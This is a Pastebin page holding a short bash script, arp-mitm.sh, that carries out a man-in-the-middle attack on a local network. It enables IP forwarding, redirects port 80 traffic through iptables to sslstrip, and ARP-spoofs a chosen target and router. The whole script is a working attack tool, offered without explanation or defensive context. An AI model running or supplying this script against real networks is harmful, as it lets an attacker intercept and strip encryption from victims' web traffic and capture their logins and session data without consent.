Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- if [ $# != 3 ]; then
- echo "usage: arp-mitm.sh <IFACE> <TARGET> <ROUTER>"
- else
- echo "1" > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 31337
- sslstrip -a -l 31337
- arpspoof -i $1 -t $2 $3
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement